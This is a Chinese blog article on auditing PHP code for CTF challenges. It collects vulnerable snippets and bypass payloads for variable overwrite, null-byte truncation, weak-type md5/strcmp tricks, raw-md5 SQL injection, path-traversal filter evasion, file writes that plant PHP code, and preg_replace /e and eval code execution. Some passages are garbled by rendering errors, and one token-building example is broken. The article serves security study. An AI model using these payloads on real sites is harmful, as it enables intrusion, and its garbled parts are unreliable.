IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP代码审计归纳总结 -> 正文阅读

[PHP知识库]PHP代码审计归纳总结

变量覆盖

extract()

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。条件:若有EXTR_SKIP则不行。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array); 
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 结果:$a = Cat; $b = Dog; $c = Horse

这里原来是 a 是 o r i g i n a l , 后 面 通 过 e x t r a c t 把 a是original,后面通过extract把 aoriginalextracta覆盖变成了Cat了,所以这里把原来的变量给覆盖了。

#?shiyan=&flag=1
<?php
$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

parse_str()

解析字符串并注册成变量

$b=1;
Parse_str('b=2');
Print_r($b);
# 结果: $b=2

import_request_variables()

GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。
在5.4之后被取消,只可在4-4.1.05-5.4.0可用。
//导入POST提交的变量值,前缀为post_
import_request_variable("p""post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp""gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg""cg_");

$$变量覆盖

## 提交参数chs,则可覆盖变量"$chs"的值。$key为chs时,$$key就变成$chs
<?  
$chs = '';  
if($_POST && $charset != 'utf-8'){  
    $chs = new Chinese('UTF-8', $charset);  
    foreach($_POST as $key => $value){  
        $$key = $chs->Convert($value);  
    }  
    unset($chs);  
} 

全局变量覆盖漏洞

原理: register_globals 是php中的一个控制选项,可以设置成off或者on, 默认为off, 决定是否将 EGPCS(Environment,GET,POST,Cookie,Server)变量注册为全局变量。 如果register_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的$GLOBALS变量.

$_REQUEST 这个超全局变量的值受 php.ini中request_order的影响,在php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST而不包括$_COOKIE。通过COOKIE就可以提交GLOBALS变量。

// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;

//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b]; 

绕过过滤的空白字符

控制码
"\0" "%00" (ASCII  0 (0x00)),空字节符。

制表符
"\t" (ASCII  9 (0x09)),水平制表符。

空白字符:
"\n" (ASCII 10 (0x0A)),换行符。
"\v" "\x0b" (ASCII  11 (0x0B)),垂直制表符。
"\f" "%0c" 换页符
"\r" "%0d"(ASCII  13 (0x0D)),回车符。

空格:
" " "%20" (ASCII  32 (0x20)),普通空格符。

而trim过滤的空白字符有

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )

其中缺少了\f
[2]
函数对空白字符的特性 is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。 也就是说,is_numeirc(” \r\n \t 1.2″)是会返回true的。同理,intval(” \r\n \t 12″),也会正常返回12。

#?number=%00%0c191
# 1 %00绕过is_numeric
# 2 \f(也就是%0c)在数字前面,trim,intval和is_numeric都会忽略这个字符

intval整数溢出

php整数上限溢出绕过intval

intval 函数最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。 64 位系统上,最大带符号的 integer 值是 9223372036854775807。

intval 四舍五入

# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 这里过滤只有一个intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
  else{
    echo($query[content]);
  }
}

浮点数精度忽略

if ($req["number"] != intval($req["number"]))

多重加密

题目中有:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}

本地就写

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>

截断

iconv 异常字符截断

## 因iconv遇到异常字符就不转后面的内容了,所以可以截断。
## 这里chr(128)到chr(255)都可以截断。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8

eregi、ereg可用%00截断

功能:正则匹配过滤 条件:要求php<5.3.4

## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET方式提交password,然后用ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有-,最终才输出flag
#因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
#对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造 1e8 即 100000000 > 9999999,在加上-。于是乎构造password=1e8%00*-*,成功得到答案
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)    
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}

move_uploaded_file 用\0截断

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生 cve: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348

move_uploaded_file(KaTeX parse error: Undefined control sequence: \x at position 39: …,"/tmp/test.php\?x?00.jpg") 上传抓包修改…_FILES[‘xx’][‘name’]存储的字符串是a.php,不会包含\0截断之后的字符,因此并不影响代码的验证逻辑。 但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。

inclue用?截断

<?php
$name=$_GET['name'];  
$filename=$name.'.php';  
include $filename;  
?>

当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。 测试POC: http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt? 则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。

mysql长度截断

mysql内的默认字符长度为255,超过的就没了。 由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning

mysql中utf-8截断

insert into dvwa.test values (14,concat("admin",0xc1,"abc"))

写入为admin

弱类型比较

以下等式会成立

'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

==、>、<的弱类型比较

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型转换成整型再比。

##方法1
##$a["a1"]="1e8%00";
##这里用%00绕过is_numeric,然后1e8可以比1336大,因此最后能$v1=1
##方法2
##$a["a1"]=["a"];
##使用数组,可以,因为数组恒大于数字或字符串
##方法3
##$a["a1"]=1337a;
##1337a过is_numeric,又由>转成1337与1336比较
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;    
if(@$a["a1"]){
        var_dump($a);
        ($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);

switch 弱类型

// 第一种:弱类型,1e==1
// $x1=1e
// 第二种:利用数组名字bypass
// $x1=1[]
// 传入后为string(3) "1[]",但在switch那里为1
if (isset($_GET['x1']))
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
}

md5比较(0e相等、数组为Null)

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

这样的对应数值还有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

技巧:找出在某一位置开始是0e的,并包含“XXX”的字符串

#方法1
#s1=QNKCDZO&s2=240610708
#方法2
#?s1[]=1&s2[]=2
#利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL,md5一个list结果为Null
#则可以使:[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
##这里没有弱类型,但可以让$r查出来是Null,然后提交md5里放数组得Null,于是Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}

json传数据{“key”:0}

PHP将POST的数据全部保存为字符串形式,也就没有办法注入数字类型的数据了而JSON则不一样,JSON本身是一个完整的字符串,经过解析之后可能有字符串,数字,布尔等多种类型。

application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml

第一个application/x-www-form-urlencoded,是一般表单形式提交的content-type第二个,是包含文件的表单。第三,四个,分别是json和xml,一般是js当中上传的.

{“key”:”0″}

这是一个字符串0,我们需要让他为数字类型,用burp拦截,把两个双引号去掉,变成这样:

{“key”:0}

strcmp漏洞1:返回0

适用与5.3之前版本的php

int strcmp ( string $str1 , string $str2 ) // 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0,所以可以故意让其报错,则返回0,则相等了。

##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

strcmp漏洞2:返回Null

修复了上面1的返回0的漏洞,即大于5.3版本后,变成返回NULL。 array和string进行strcmp比较的时候会返回一个null,因为strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL。 strcmp( c [ 1 ] , c[1], c[1],d)

strcmp漏洞3: 判断使用的是 ==

而判断使用的是==,当NULL==0是 bool(true)

in_array,array_search 弱类型比较

松散比较下,任何string都等于true:

// in_array('a', [true, 'b', 'c'])       // 返回bool(true),相当于数组里面有字符'a'
// array_search('a', [true, 'b', 'c'])   // 返回int(0),相当于找到了字符'a'
// array_search 会使用'ctf'和array中的每个值作比较,这里的比较也是弱比较,所以intval('ctf')==0.
if(is_array(@$a["a2"])){
        if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
        $pos = array_search("ctf", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["a2"] as $key=>$val){
            $val==="ctf"?die("nope"):NULL;
        }
        $v2=1;
}

sha1() md5() 报错相等绕过(False === False)

sha1()函数默认的传入参数类型是字符串型,给它传入数组会出现错误,使sha1()函数返回错误,也就是返回false md5()函数如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE。可通过传入数组,返回错误

##?name[]=1&password[]=2
## === 两边都是false则成立
if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);

strpos数组NULL(Null !== False).

strpos()输入数组出错返回null

#既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.
<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

十六进制与十进制比较

== 两边的十六进制与十进制比较,是可以相等的。

?password=0xdeadc0de
#echo  dechex ( 3735929054 ); // 将3735929054转为16进制结果为:deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许,但0允许
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp) # 
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

md5注入带入’or’

md5(string,raw)
raw	可选。规定十六进制或二进制输出格式:
    TRUE - 原始 16 字符二进制格式
    FALSE - 默认。32 字符十六进制数

当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为’or’<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。

## 执行顺序:字符串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)将16进制转成字符串`'or'<trash>`->sql执行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";

switch没有break

#这里case 0 和 1 没有break,使得程序继续往下执行。
<?php
error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

反序列化和文件包含太多了,不细说了

str_replace路径穿越

原理 str_replace的过滤方式为其search参数数组从左到右一个一个过滤。

## 这里可以被绕过,因为是对.和/或\的组合的过滤,所以单独的..或\/没有检测到。
## 方法1
## 五个点加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替换数量';
echo $countb;
## 这里有对单独的.进行过滤,所以无法绕过。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替换数量';
echo $counta;

short_open_tag=on 短标签

原理: 当 php.ini 的short_open_tag=on时,PHP支持短标签,默认情况下为off; 格式为: –> <?xxx;

Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld

file_put_contents第二个参数传入数组

file_put_contents(file,data,mode,context)
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。如果是数组的话,将被连接成字符串再进行写入。

## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 这个要从burp去传,因为后面的【?】会被理解为参数而截断
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);

单引号和双引号

原理:单引号或双引号都可以用来定义字符串。但只有双引号会调用解析器。

# 1
$s = "I am a 'single quote string' inside a double quote string"; 
$s = 'I am a "double quote string" inside a single quote string'; 
$s = "I am a 'single quote string' inside a double quote string"; 
$s = 'I am a "double quote string" inside a single quote string';
# 2
$abc='I love u'; 
echo $abc //结果是:I love u 
echo '$abc' //结果是:$abc 
echo "$abc" //结果是:I love u 
# 3
$a="${@phpinfo()}"; //可以解析出来
<?php $a="${@phpinfo()}";?> //@可以为空格,tab,/**/ ,回车,+,-,!,~,\等

命令执行函数

system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引号调用shell_exec()函数
popen()和proc_open() //不会返回结果
array_map( a r r , arr, arr,array); //为数组的每个元素应用回调函数arr,如$arr = “phpinfo”
popen(‘whoami >>D: /2.txt’, ‘r’); //这样就会在D下生成一个2.txt。
preg_replace()
ob_start()
array_map()
防范方法: 使用自定义函数或函数库来替代外部命令的功能 使用escapeshellarg 函数来处理命令参数 使用safe_mode_exec_dir 指定可执行文件的路径

mb_ereg_replace()的/e模式

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:
string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= “msr” ] )
当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行.

preg_replace /e模式执行命令

# ?str=[phpinfo()]
# 这里使用/e模式,所以第二个参数\\1这里可以执行。
# 通过$_GET传入值,第一个参数正则,把[]去掉,放到了第二个参数里\\1,执行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);

动态函数执行

call_user_func
call_user_func_array
 ?a=assert
call_user_func($_GET['a'],$b);

eval()和assert()代码执行

当assert()的参数为字符串时 可执行PHP代码。 区别:assert可以不加;,eval不可以不加;。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-07 11:39:22  更:2021-07-07 11:40:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/29 17:12:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码